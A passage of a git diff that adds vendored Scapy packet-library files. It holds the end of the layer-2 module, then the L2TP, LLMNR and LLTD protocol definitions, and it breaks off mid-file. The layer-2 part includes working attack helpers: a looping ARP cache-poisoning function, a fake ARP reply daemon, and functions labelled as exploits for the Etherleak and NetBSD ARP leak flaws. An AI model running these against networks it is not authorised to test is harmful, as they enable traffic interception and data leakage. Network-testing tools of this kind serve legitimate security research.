0}) +bind_layers(GRErouting, GRErouting) +bind_layers(LLC, STP, dsap=66, ssap=66, ctrl=3) +bind_layers(LLC, SNAP, dsap=170, ssap=170, ctrl=3) +bind_layers(SNAP, Dot1Q, code=33024) +bind_layers(SNAP, Dot1AD, type=0x88a8) +bind_layers(SNAP, Ether, code=1) +bind_layers(SNAP, ARP, code=2054) +bind_layers(SNAP, STP, code=267) + +conf.l2types.register(ARPHDR_ETHER, Ether) +conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether) +conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether) +conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3) +conf.l2types.register(DLT_LINUX_SLL, CookedLinux) +conf.l2types.register(DLT_ETHERNET_MPACKET, MPacketPreamble) +conf.l2types.register_num2layer(DLT_LINUX_IRDA, CookedLinux) +conf.l2types.register(DLT_LOOP, Loopback) +conf.l2types.register_num2layer(DLT_NULL, Loopback) + +conf.l3types.register(ETH_P_ARP, ARP) + + +# Techniques + + +@conf.commands.register +def arpcachepoison(target, victim, interval=60): + """Poison target's cache with (your MAC,victim's IP) couple +arpcachepoison(target, victim, [interval=60]) -> None +""" + tmac = getmacbyip(target) + p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) + try: + while True: + sendp(p, iface_hint=target) + if conf.verb > 1: + os.write(1, b".") + time.sleep(interval) + except KeyboardInterrupt: + pass + + +class ARPingResult(SndRcvList): + def __init__(self, res=None, name="ARPing", stats=None): + SndRcvList.__init__(self, res, name, stats) + + def show(self): + """ + Print the list of discovered MAC addresses. + """ + + data = list() + padding = 0 + + for s, r in self.res: + manuf = conf.manufdb._get_short_manuf(r.src) + manuf = "unknown" if manuf == r.src else manuf + padding = max(padding, len(manuf)) + data.append((r[Ether].src, manuf, r[ARP].psrc)) + + for src, manuf, psrc in data: + print(" %-17s %-*s %s" % (src, padding, manuf, psrc)) + + +@conf.commands.register +def arping(net, timeout=2, cache=0, verbose=None, **kargs): + """Send ARP who-has requests to determine which hosts are up +arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None +Set cache=True if you want arping to modify internal ARP-Cache""" + if verbose is None: + verbose = conf.verb + ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=net), verbose=verbose, # noqa: E501 + filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501 + ans = ARPingResult(ans.res) + + if cache and ans is not None: + for pair in ans: + conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time()) # noqa: E501 + if ans is not None and verbose: + ans.show() + return ans, unans + + +@conf.commands.register +def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): + """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 + + responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 + + return responses is not None + + +@conf.commands.register +def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): + """Send ARP who-has requests to determine which hosts are in promiscuous mode + promiscping(net, iface=conf.iface)""" + ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), + filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs) # noqa: E501 + ans = ARPingResult(ans.res, name="PROMISCPing") + + ans.display() + return ans, unans + + +class ARP_am(AnsweringMachine): + """Fake ARP Relay Daemon (farpd) + + example: + To respond to an ARP request for 192.168.100 replying on the + ingress interface:: + + farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05') + + To respond on a different interface add the interface parameter:: + + farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0') + + To respond on ANY arp request on an interface with mac address ARP_addr:: + + farpd(ARP_addr='00:01:02:03:04:05',iface='eth1') + + To respond on ANY arp request with my mac addr on the given interface:: + + farpd(iface='eth1') + + Optional Args:: + + inter= Interval in seconds between ARP replies being sent + + """ + + function_name = "farpd" + filter = "arp" + send_function = staticmethod(sendp) + + def parse_options(self, IP_addr=None, ARP_addr=None): + self.IP_addr = IP_addr + self.ARP_addr = ARP_addr + + def is_request(self, req): + return (req.haslayer(ARP) and + req.getlayer(ARP).op == 1 and + (self.IP_addr is None or self.IP_addr == req.getlayer(ARP).pdst)) # noqa: E501 + + def make_reply(self, req): + ether = req.getlayer(Ether) + arp = req.getlayer(ARP) + + if 'iface' in self.optsend: + iff = self.optsend.get('iface') + else: + iff, a, gw = conf.route.route(arp.psrc) + self.iff = iff + if self.ARP_addr is None: + try: + ARP_addr = get_if_hwaddr(iff) + except Exception: + ARP_addr = "00:00:00:00:00:00" + else: + ARP_addr = self.ARP_addr + resp = Ether(dst=ether.src, + src=ARP_addr) / ARP(op="is-at", + hwsrc=ARP_addr, + psrc=arp.pdst, + hwdst=arp.hwsrc, + pdst=arp.psrc) + return resp + + def send_reply(self, reply): + if 'iface' in self.optsend: + self.send_function(reply, **self.optsend) + else: + self.send_function(reply, iface=self.iff, **self.optsend) + + def print_reply(self, req, reply): + print("%s ==> %s on %s" % (req.summary(), reply.summary(), self.iff)) + + +@conf.commands.register +def etherleak(target, **kargs): + """Exploit Etherleak flaw""" + return srp(Ether() / ARP(pdst=target), + prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 + filter="arp", **kargs) + + +@conf.commands.register +def arpleak(target, plen=255, hwlen=255, **kargs): + """Exploit ARP leak flaws, like NetBSD-SA2017-002. + +https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc + + """ + # We want explicit packets + pkts_iface = {} + for pkt in ARP(pdst=target): + # We have to do some of Scapy's work since we mess with + # important values + iface = conf.route.route(pkt.pdst)[0] + psrc = get_if_addr(iface) + hwsrc = get_if_hwaddr(iface) + pkt.plen = plen + pkt.hwlen = hwlen + if plen == 4: + pkt.psrc = psrc + else: + pkt.psrc = inet_aton(psrc)[:plen] + pkt.pdst = inet_aton(pkt.pdst)[:plen] + if hwlen == 6: + pkt.hwsrc = hwsrc + else: + pkt.hwsrc = mac2str(hwsrc)[:hwlen] + pkts_iface.setdefault(iface, []).append( + Ether(src=hwsrc, dst=ETHER_BROADCAST) / pkt + ) + ans, unans = SndRcvList(), PacketList(name="Unanswered") + for iface, pkts in viewitems(pkts_iface): + ans_new, unans_new = srp(pkts, iface=iface, filter="arp", **kargs) + ans += ans_new + unans += unans_new + ans.listname = "Results" + unans.listname = "Unanswered" + for _, rcv in ans: + if ARP not in rcv: + continue + rcv = rcv[ARP] + psrc = rcv.get_field('psrc').i2m(rcv, rcv.psrc) + if plen > 4 and len(psrc) > 4: + print("psrc") + hexdump(psrc[4:]) + print() + hwsrc = rcv.get_field('hwsrc').i2m(rcv, rcv.hwsrc) + if hwlen > 6 and len(hwsrc) > 6: + print("hwsrc") + hexdump(hwsrc[6:]) + print() + return ans, unans diff --git a/libs/scapy/layers/l2tp.py b/libs/scapy/layers/l2tp.py new file mode 100755 index 0000000..bdf46e4 --- /dev/null +++ b/libs/scapy/layers/l2tp.py @@ -0,0 +1,52 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +L2TP (Layer 2 Tunneling Protocol) for VPNs. + +[RFC 2661] +""" + +import struct + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import BitEnumField, ConditionalField, FlagsField, \ + PadField, ShortField +from scapy.layers.inet import UDP +from scapy.layers.ppp import PPP + + +class L2TP(Packet): + name = "L2TP" + fields_desc = [ + FlagsField("hdr", 0, 12, ['res00', 'res01', 'res02', 'res03', 'priority', 'offset', # noqa: E501 + 'res06', 'sequence', 'res08', 'res09', 'length', 'control']), # noqa: E501 + BitEnumField("version", 2, 4, {2: 'L2TPv2'}), + + ConditionalField(ShortField("len", 0), + lambda pkt: pkt.hdr & 'control+length'), + ShortField("tunnel_id", 0), + ShortField("session_id", 0), + ConditionalField(ShortField("ns", 0), + lambda pkt: pkt.hdr & 'sequence+control'), + ConditionalField(ShortField("nr", 0), + lambda pkt: pkt.hdr & 'sequence+control'), + ConditionalField( + PadField(ShortField("offset", 0), 4, b"\x00"), + lambda pkt: not (pkt.hdr & 'control') and pkt.hdr & 'offset' + ) + ] + + def post_build(self, pkt, pay): + if self.len is None: + tmp_len = len(pkt) + len(pay) + pkt = pkt[:2] + struct.pack("!H", tmp_len) + pkt[4:] + return pkt + pay + + +bind_bottom_up(UDP, L2TP, dport=1701) +bind_bottom_up(UDP, L2TP, sport=1701) +bind_layers(UDP, L2TP, dport=1701, sport=1701) +bind_layers(L2TP, PPP,) diff --git a/libs/scapy/layers/llmnr.py b/libs/scapy/layers/llmnr.py new file mode 100755 index 0000000..47db34f --- /dev/null +++ b/libs/scapy/layers/llmnr.py @@ -0,0 +1,77 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +LLMNR (Link Local Multicast Node Resolution). + +[RFC 4795] + +LLMNR is based on the DNS packet format (RFC1035 Section 4) +RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno +""" + +import struct + +from scapy.fields import BitEnumField, BitField, ShortField +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.compat import orb +from scapy.layers.inet import UDP +from scapy.layers.dns import DNSQRField, DNSRRField, DNSRRCountField + + +_LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" +_LLMNR_IPv4_mcast_addr = "224.0.0.252" + + +class LLMNRQuery(Packet): + name = "Link Local Multicast Node Resolution - Query" + fields_desc = [ShortField("id", 0), + BitField("qr", 0, 1), + BitEnumField("opcode", 0, 4, {0: "QUERY"}), + BitField("c", 0, 1), + BitField("tc", 0, 2), + BitField("z", 0, 4), + BitEnumField("rcode", 0, 4, {0: "ok"}), + DNSRRCountField("qdcount", None, "qd"), + DNSRRCountField("ancount", None, "an"), + DNSRRCountField("nscount", None, "ns"), + DNSRRCountField("arcount", None, "ar"), + DNSQRField("qd", "qdcount"), + DNSRRField("an", "ancount"), + DNSRRField("ns", "nscount"), + DNSRRField("ar", "arcount", 0)] + overload_fields = {UDP: {"sport": 5355, "dport": 5355}} + + def hashret(self): + return struct.pack("!H", self.id) + + +class LLMNRResponse(LLMNRQuery): + name = "Link Local Multicast Node Resolution - Response" + qr = 1 + + def answers(self, other): + return (isinstance(other, LLMNRQuery) and + self.id == other.id and + self.qr == 1 and + other.qr == 0) + + +class _LLMNR(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if len(_pkt) >= 2: + if (orb(_pkt[2]) & 0x80): # Response + return LLMNRResponse + else: # Query + return LLMNRQuery + return cls + + +bind_bottom_up(UDP, _LLMNR, dport=5355) +bind_bottom_up(UDP, _LLMNR, sport=5355) +bind_layers(UDP, _LLMNR, sport=5355, dport=5355) + +# LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) diff --git a/libs/scapy/layers/lltd.py b/libs/scapy/layers/lltd.py new file mode 100755 index 0000000..aba168f --- /dev/null +++ b/libs/scapy/layers/lltd.py @@ -0,0 +1,845 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +"""LLTD Protocol + +https://msdn.microsoft.com/en-us/library/cc233983.aspx + +""" + +from __future__ import absolute_import +from array import array + +from scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \ + ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \ + LongField, MultiEnumField, FieldLenField, FieldListField, \ + PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField +from scapy.packet import Packet, Padding, bind_layers +from scapy.plist import PacketList +from scapy.layers.l2 import Ether +from scapy.layers.inet import IPField +from scapy.layers.inet6 import IP6Field +from scapy.data import ETHER_ANY +import scapy.modules.six as six +from scapy.compat import orb, chb + + +# Protocol layers +################## + + +class LLTD(Packet): + name = "LLTD" + answer_hashret = { + # (tos, function) tuple mapping (answer -> query), used by + # .hashret() + (1, 1): (0, 0), + (0, 12): (0, 11), + } + fields_desc = [ + ByteField("version", 1), + ByteEnumField("tos", 0, { + 0: "Topology discovery", + 1: "Quick discovery", + 2: "QoS diagnostics", + }), + ByteField("reserved", 0), + MultiEnumField("function", 0, { + 0: { + 0: "Discover", + 1: "Hello", + 2: "Emit", + 3: "Train", + 4: "Probe", + 5: "Ack", + 6: "Query", + 7: "QueryResp", + 8: "Reset", + 9: "Charge", + 10: "Flat", + 11: "QueryLargeTlv", + 12: "QueryLargeTlvResp", + }, + 1: { + 0: "Discover", + 1: "Hello", + 8: "Reset", + }, + 2: { + 0: "QosInitializeSink", + 1: "QosReady", + 2: "QosProbe", + 3: "QosQuery", + 4: "QosQueryResp", + 5: "QosReset", + 6: "QosError", + 7: "QosAck", + 8: "QosCounterSnapshot", + 9: "QosCounterResult", + 10: "QosCounterLease", + }, + }, depends_on=lambda pkt: pkt.tos, fmt="B"), + MACField("real_dst", None), + MACField("real_src", None), + ConditionalField(ShortField("xid", 0), + lambda pkt: pkt.function in [0, 8]), + ConditionalField(ShortField("seq", 0), + lambda pkt: pkt.function not in [0, 8]), + ] + + def post_build(self, pkt, pay): + if (self.real_dst is None or self.real_src is None) and \ + isinstance(self.underlayer, Ether): + eth = self.underlayer + if self.real_dst is None: + pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) + + pkt[10:]) + if self.real_src is None: + pkt = (pkt[:10] + eth.fields_desc[1].i2m(eth, eth.src) + + pkt[16:]) + return pkt + pay + + def mysummary(self): + if isinstance(self.underlayer, Ether): + return self.underlayer.sprintf( + 'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%' + ) + else: + return self.sprintf('LLTD %tos% - %function%') + + def hashret(self): + tos, function = self.tos, self.function + return "%c%c" % self.answer_hashret.get((tos, function), + (tos, function)) + + def answers(self, other): + if not isinstance(other, LLTD): + return False + if self.tos == 0: + if self.function == 0 and isinstance(self.payload, LLTDDiscover) \ + and len(self[LLTDDiscover].stations_list) == 1: + # "Topology discovery - Discover" with one MAC address + # discovered answers a "Quick discovery - Hello" + return other.tos == 1 and \ + other.function == 1 and \ + LLTDAttributeHostID in other and \ + other[LLTDAttributeHostID].mac == \ + self[LLTDDiscover].stations_list[0] + elif self.function == 12: + # "Topology discovery - QueryLargeTlvResp" answers + # "Topology discovery - QueryLargeTlv" with same .seq + # value + return other.tos == 0 and other.function == 11 \ + and other.seq == self.seq + elif self.tos == 1: + if self.function == 1 and isinstance(self.payload, LLTDHello): + # "Quick discovery - Hello" answers a "Topology + # discovery - Discover" + return other.tos == 0 and other.function == 0 and \ + other.real_src == self.current_mapper_address + return False + + +class LLTDHello(Packet): + name = "LLTD - Hello" + show_summary = False + fields_desc = [ + ShortField("gen_number", 0), + MACField("current_mapper_address", ETHER_ANY), + MACField("apparent_mapper_address", ETHER_ANY), + ] + + +class LLTDDiscover(Packet): + name = "LLTD - Discover" + fields_desc = [ + ShortField("gen_number", 0), + FieldLenField("stations_count", None, count_of="stations_list", + fmt="H"), + FieldListField("stations_list", [], MACField("", ETHER_ANY), + count_from=lambda pkt: pkt.stations_count) + ] + + def mysummary(self): + return (self.sprintf("Stations: %stations_list%") + if self.stations_list else "No station", [LLTD]) + + +class LLTDEmiteeDesc(Packet): + name = "LLTD - Emitee Desc" + fields_desc = [ + ByteEnumField("type", 0, {0: "Train", 1: "Probe"}), + ByteField("pause", 0), + MACField("src", None), + MACField("dst", ETHER_ANY), + ] + + +class LLTDEmit(Packet): + name = "LLTD - Emit" + fields_desc = [ + FieldLenField("descs_count", None, count_of="descs_list", + fmt="H"), + PacketListField("descs_list", [], LLTDEmiteeDesc, + count_from=lambda pkt: pkt.descs_count), + ] + + def mysummary(self): + return ", ".join(desc.sprintf("%src% > %dst%") + for desc in self.descs_list), [LLTD] + + +class LLTDRecveeDesc(Packet): + name = "LLTD - Recvee Desc" + fields_desc = [ + ShortEnumField("type", 0, {0: "Probe", 1: "ARP or ICMPv6"}), + MACField("real_src", ETHER_ANY), + MACField("ether_src", ETHER_ANY), + MACField("ether_dst", ETHER_ANY), + ] + + +class LLTDQueryResp(Packet): + name = "LLTD - Query Response" + fields_desc = [ + FlagsField("flags", 0, 2, "ME"), + BitField("descs_count", None, 14), + PacketListField("descs_list", [], LLTDRecveeDesc, + count_from=lambda pkt: pkt.descs_count), + ] + + def post_build(self, pkt, pay): + if self.descs_count is None: + # descs_count should be a FieldLenField but has an + # unsupported format (14 bits) + flags = orb(pkt[0]) & 0xc0 + count = len(self.descs_list) + pkt = chb(flags + (count >> 8)) + chb(count % 256) + pkt[2:] + return pkt + pay + + def mysummary(self): + return self.sprintf("%d response%s" % ( + self.descs_count, + "s" if self.descs_count > 1 else "")), [LLTD] + + +class LLTDQueryLargeTlv(Packet): + name = "LLTD - Query Large Tlv" + fields_desc = [ + ByteEnumField("type", 14, { + 14: "Icon image", + 17: "Friendly Name", + 19: "Hardware ID", + 22: "AP Association Table", + 24: "Detailed Icon Image", + 26: "Component Table", + 28: "Repeater AP Table", + }), + ThreeBytesField("offset", 0), + ] + + def mysummary(self): + return self.sprintf("%type% (offset %offset%)"), [LLTD] + + +class LLTDQueryLargeTlvResp(Packet): + name = "LLTD - Query Large Tlv Response" + fields_desc = [ + FlagsField("flags", 0, 2, "RM"), + BitField("len", None, 14), + StrLenField("value", "", length_from=lambda pkt: pkt.len) + ] + + def post_build(self, pkt, pay): + if self.len is None: + # len should be a FieldLenField but has an unsupported + # format (14 bits) + flags = orb(pkt[0]) & 0xc0 + length = len(self.value) + pkt = chb(flags + (length >> 8)) + chb(length % 256) + pkt[2:] + return pkt + pay + + def mysummary(self): + return self.sprintf("%%len%% bytes%s" % ( + " (last)" if not self.flags & 2 else "" + )), [LLTD] + + +class LLTDAttribute(Packet): + name = "LLTD Attribute" + show_indent = False + show_summary = False + # section 2.2.1.1 + fields_desc = [ + ByteEnumField("type", 0, { + 0: "End Of Property", + 1: "Host ID", + 2: "Characteristics", + 3: "Physical Medium", + 7: "IPv4 Address", + 9: "802.11 Max Rate", + 10: "Performance Counter Frequency", + 12: "Link Speed", + 14: "Icon Image", + 15: "Machine Name", + 18: "Device UUID", + 20: "QoS Characteristics", + 21: "802.11 Physical Medium", + 24: "Detailed Icon Image", + }), + FieldLenField("len", None, length_of="value", fmt="B"), + StrLenField("value", "", length_from=lambda pkt: pkt.len), + ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *_, **kargs): + if _pkt: + cmd = orb(_pkt[0]) + elif "type" in kargs: + cmd = kargs["type"] + if isinstance(cmd, six.string_types): + cmd = cls.fields_desc[0].s2i[cmd] + else: + return cls + return SPECIFIC_CLASSES.get(cmd, cls) + + +SPECIFIC_CLASSES = {} + + +def _register_lltd_specific_class(*attr_types): + """This can be used as a class decorator; if we want to support Python + 2.5, we have to replace + +@_register_lltd_specific_class(x[, y[, ...]]) +class LLTDAttributeSpecific(LLTDAttribute): +[...] + +by + +class LLTDAttributeSpecific(LLTDAttribute): +[...] +LLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])( + LLTDAttributeSpecific +) + + """ + def _register(cls): + for attr_type in attr_types: + SPECIFIC_CLASSES[attr_type] = cls + type_fld = LLTDAttribute.fields_desc[0].copy() + type_fld.default = attr_types[0] + cls.fields_desc = [type_fld] + cls.fields_desc + return cls + return _register + + +@_register_lltd_specific_class(0) +class LLTDAttributeEOP(LLTDAttribute): + name = "LLTD Attribute - End Of Property" + fields_desc = [] + + +@_register_lltd_specific_class(1) +class LLTDAttributeHostID(LLTDAttribute): + name = "LLTD Attribute - Host ID" + fields_desc = [ + ByteField("len", 6), + MACField("mac", ETHER_ANY), + ] + + def mysummary(self): + return "ID: %s" % self.mac, [LLTD, LLTDAttributeMachineName] + + +@_register_lltd_specific_class(2) +class LLTDAttributeCharacteristics(LLTDAttribute): + name = "LLTD Attribute - Characteristics" + fields_desc = [ + # According to MS doc, "this field MUST be set to 0x02". But + # according to MS implementation, that's wrong. + # ByteField("len", 2), + FieldLenField("len", None, length_of="reserved2", fmt="B", + adjust=lambda _, x: x + 2), + FlagsField("flags", 0, 5, "PXFML"), + BitField("reserved1", 0, 11), + StrLenField("reserved2", "", length_from=lambda x: x.len - 2) + ] + + +@_register_lltd_specific_class(3) +class LLTDAttributePhysicalMedium(LLTDAttribute): + name = "LLTD Attribute - Physical Medium" + fields_desc = [ + ByteField("len", 4), + IntEnumField("medium", 6, { + # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib + 1: "other", + 2: "regular1822", + 3: "hdh1822", + 4: "ddnX25", + 5: "rfc877x25", + 6: "ethernetCsmacd", + 7: "iso88023Csmacd", + 8: "iso88024TokenBus", + 9: "iso88025TokenRing", + 10: "iso88026Man", + 11: "starLan", + 12: "proteon10Mbit", + 13: "proteon80Mbit", + 14: "hyperchannel", + 15: "fddi", + 16: "lapb", + 17: "sdlc", + 18: "ds1", + 19: "e1", + 20: "basicISDN", + 21: "primaryISDN", + 22: "propPointToPointSerial", + 23: "ppp", + 24: "softwareLoopback", + 25: "eon", + 26: "ethernet3Mbit", + 27: "nsip", + 28: "slip", + 29: "ultra", + 30: "ds3", + 31: "sip", + 32: "frameRelay", + 33: "rs232", + 34: "para", + 35: "arcnet", + 36: "arcnetPlus", + 37: "atm", + 38: "miox25", + 39: "sonet", + 40: "x25ple", + 41: "iso88022llc", + 42: "localTalk", + 43: "smdsDxi", + 44: "frameRelayService", + 45: "v35", + 46: "hssi", + 47: "hippi", + 48: "modem", + 49: "aal5", + 50: "sonetPath", + 51: "sonetVT", + 52: "smdsIcip", + 53: "propVirtual", + 54: "propMultiplexor", + 55: "ieee80212", + 56: "fibreChannel", + 57: "hippiInterface", + 58: "frameRelayInterconnect", + 59: "aflane8023", + 60: "aflane8025", + 61: "cctEmul", + 62: "fastEther", + 63: "isdn", + 64: "v11", + 65: "v36", + 66: "g703at64k", + 67: "g703at2mb", + 68: "qllc", + 69: "fastEtherFX", + 70: "channel", + 71: "ieee80211", + 72: "ibm370parChan", + 73: "escon", + 74: "dlsw", + 75: "isdns", + 76: "isdnu", + 77: "lapd", + 78: "ipSwitch", + 79: "rsrb", + 80: "atmLogical", + 81: "ds0", + 82: "ds0Bundle", + 83: "bsc", + 84: "async", + 85: "cnr", + 86: "iso88025Dtr", + 87: "eplrs", + 88: "arap", + 89: "propCnls", + 90: "hostPad", + 91: "termPad", + 92: "frameRelayMPI", + 93: "x213", + 94: "adsl", + 95: "radsl", + 96: "sdsl", + 97: "vdsl", + 98: "iso88025CRFPInt", + 99: "myrinet", + 100: "voiceEM", + 101: "voiceFXO", + 102: "voiceFXS", + 103: "voiceEncap", + 104: "voiceOverIp", + 105: "atmDxi", + 106: "atmFuni", + 107: "atmIma", + 108: "pppMultilinkBundle", + 109: "ipOverCdlc", + 110: "ipOverClaw", + 111: "stackToStack", + 112: "virtualIpAddress", + 113: "mpc", + 114: "ipOverAtm", + 115: "iso88025Fiber", + 116: "tdlc", + 117: "gigabitEthernet", + 118: "hdlc", + 119: "lapf", + 120: "v37", + 121: "x25mlp", + 122: "x25huntGroup", + 123: "transpHdlc", + 124: "interleave", + 125: "fast", + 126: "ip", + 127: "docsCableMaclayer", + 128: "docsCableDownstream", + 129: "docsCableUpstream", + 130: "a12MppSwitch", + 131: "tunnel", + 132: "coffee", + 133: "ces", + 134: "atmSubInterface", + 135: "l2vlan", + 136: "l3ipvlan", + 137: "l3ipxvlan", + 138: "digitalPowerline", + 139: "mediaMailOverIp", + 140: "dtm", + 141: "dcn", + 142: "ipForward", + 143: "msdsl", + 144: "ieee1394", + 145: "if-gsn", + 146: "dvbRccMacLayer", + 147: "dvbRccDownstream", + 148: "dvbRccUpstream", + 149: "atmVirtual", + 150: "mplsTunnel", + 151: "srp", + 152: "voiceOverAtm", + 153: "voiceOverFrameRelay", + 154: "idsl", + 155: "compositeLink", + 156: "ss7SigLink", + 157: "propWirelessP2P", + 158: "frForward", + 159: "rfc1483", + 160: "usb", + 161: "ieee8023adLag", + 162: "bgppolicyaccounting", + 163: "frf16MfrBundle", + 164: "h323Gatekeeper", + 165: "h323Proxy", + 166: "mpls", + 167: "mfSigLink", + 168: "hdsl2", + 169: "shdsl", + 170: "ds1FDL", + 171: "pos", + 172: "dvbAsiIn", + 173: "dvbAsiOut", + 174: "plc", + 175: "nfas", + 176: "tr008", + 177: "gr303RDT", + 178: "gr303IDT", + 179: "isup", + 180: "propDocsWirelessMaclayer", + 181: "propDocsWirelessDownstream", + 182: "propDocsWirelessUpstream", + 183: "hiperlan2", + 184: "propBWAp2Mp", + 185: "sonetOverheadChannel", + 186: "digitalWrapperOverheadChannel", + 187: "aal2", + 188: "radioMAC", + 189: "atmRadio", + 190: "imt", + 191: "mvl", + 192: "reachDSL", + 193: "frDlciEndPt", + 194: "atmVciEndPt", + 195: "opticalChannel", + 196: "opticalTransport", + 197: "propAtm", + 198: "voiceOverCable", + 199: "infiniband", + 200: "teLink", + 201: "q2931", + 202: "virtualTg", + 203: "sipTg", + 204: "sipSig", + 205: "docsCableUpstreamChannel", + 206: "econet", + 207: "pon155", + 208: "pon622", + 209: "bridge", + 210: "linegroup", + 211: "voiceEMFGD", + 212: "voiceFGDEANA", + 213: "voiceDID", + 214: "mpegTransport", + 215: "sixToFour", + 216: "gtp", + 217: "pdnEtherLoop1", + 218: "pdnEtherLoop2", + 219: "opticalChannelGroup", + 220: "homepna", + 221: "gfp", + 222: "ciscoISLvlan", + 223: "actelisMetaLOOP", + 224: "fcipLink", + 225: "rpr", + 226: "qam", + 227: "lmp", + 228: "cblVectaStar", + 229: "docsCableMCmtsDownstream", + 230: "adsl2", + 231: "macSecControlledIF", + 232: "macSecUncontrolledIF", + 233: "aviciOpticalEther", + 234: "atmbond", + 235: "voiceFGDOS", + 236: "mocaVersion1", + 237: "ieee80216WMAN", + 238: "adsl2plus", + 239: "dvbRcsMacLayer", + 240: "dvbTdm", + 241: "dvbRcsTdma", + 242: "x86Laps", + 243: "wwanPP", + 244: "wwanPP2", + 245: "voiceEBS", + 246: "ifPwType", + 247: "ilan", + 248: "pip", + 249: "aluELP", + 250: "gpon", + 251: "vdsl2", + 252: "capwapDot11Profile", + 253: "capwapDot11Bss", + 254: "capwapWtpVirtualRadio", + 255: "bits", + 256: "docsCableUpstreamRfPort", + 257: "cableDownstreamRfPort", + 258: "vmwareVirtualNic", + 259: "ieee802154", + 260: "otnOdu", + 261: "otnOtu", + 262: "ifVfiType", + 263: "g9981", + 264: "g9982", + 265: "g9983", + 266: "aluEpon", + 267: "aluEponOnu", + 268: "aluEponPhysicalUni", + 269: "aluEponLogicalLink", + 271: "aluGponPhysicalUni", + 272: "vmwareNicTeam", + 277: "docsOfdmDownstream", + 278: "docsOfdmaUpstream", + 279: "gfast", + 280: "sdci", + }), + ] + + +@_register_lltd_specific_class(7) +class LLTDAttributeIPv4Address(LLTDAttribute): + name = "LLTD Attribute - IPv4 Address" + fields_desc = [ + ByteField("len", 4), + IPField("ipv4", "0.0.0.0"), + ] + + +@_register_lltd_specific_class(8) +class LLTDAttributeIPv6Address(LLTDAttribute): + name = "LLTD Attribute - IPv6 Address" + fields_desc = [ + ByteField("len", 16), + IP6Field("ipv6", "::"), + ] + + +@_register_lltd_specific_class(9) +class LLTDAttribute80211MaxRate(LLTDAttribute): + name = "LLTD Attribute - 802.11 Max Rate" + fields_desc = [ + ByteField("len", 2), + ShortField("rate", 0), + ] + + +@_register_lltd_specific_class(10) +class LLTDAttributePerformanceCounterFrequency(LLTDAttribute): + name = "LLTD Attribute - Performance Counter Frequency" + fields_desc = [ + ByteField("len", 8), + LongField("freq", 0), + ] + + +@_register_lltd_specific_class(12) +class LLTDAttributeLinkSpeed(LLTDAttribute): + name = "LLTD Attribute - Link Speed" + fields_desc = [ + ByteField("len", 4), + IntField("speed", 0), + ] + + +@_register_lltd_specific_class(14, 24, 26) +class LLTDAttributeLargeTLV(LLTDAttribute): + name = "LLTD Attribute - Large TLV" + fields_desc = [ + ByteField("len", 0), + ] + + +@_register_lltd_specific_class(15) +class LLTDAttributeMachineName(LLTDAttribute): + name = "LLTD Attribute - Machine Name" + fields_desc = [ + FieldLenField("len", None, length_of="hostname", fmt="B"), + StrLenFieldUtf16("hostname", "", length_from=lambda pkt: pkt.len), + ] + + def mysummary(self): + return (self.sprintf("Hostname: %r" % self.hostname), + [LLTD, LLTDAttributeHostID]) + + +@_register_lltd_specific_class(18) +class LLTDAttributeDeviceUUID(LLTDAttribute): + name = "LLTD Attribute - Device UUID" + fields_desc = [ + FieldLenField("len", None, length_of="uuid", fmt="B"), + StrLenField("uuid", b"\x00" * 16, length_from=lambda pkt: pkt.len), + ] + + +@_register_lltd_specific_class(20) +class LLTDAttributeQOSCharacteristics(LLTDAttribute): + name = "LLTD Attribute - QoS Characteristics" + fields_desc = [ + ByteField("len", 4), + FlagsField("flags", 0, 3, "EQP"), + BitField("reserved1", 0, 13), + ShortField("reserved2", 0), + ] + + +@_register_lltd_specific_class(21) +class LLTDAttribute80211PhysicalMedium(LLTDAttribute): + name = "LLTD Attribute - 802.11 Physical Medium" + fields_desc = [ + ByteField("len", 1), + ByteEnumField("medium", 0, { + 0: "Unknown", + 1: "FHSS 2.4 GHz", + 2: "DSSS 2.4 GHz", + 3: "IR Baseband", + 4: "OFDM 5 GHz", + 5: "HRDSSS", + 6: "ERP", + }), + ] + + +@_register_lltd_specific_class(25) +class 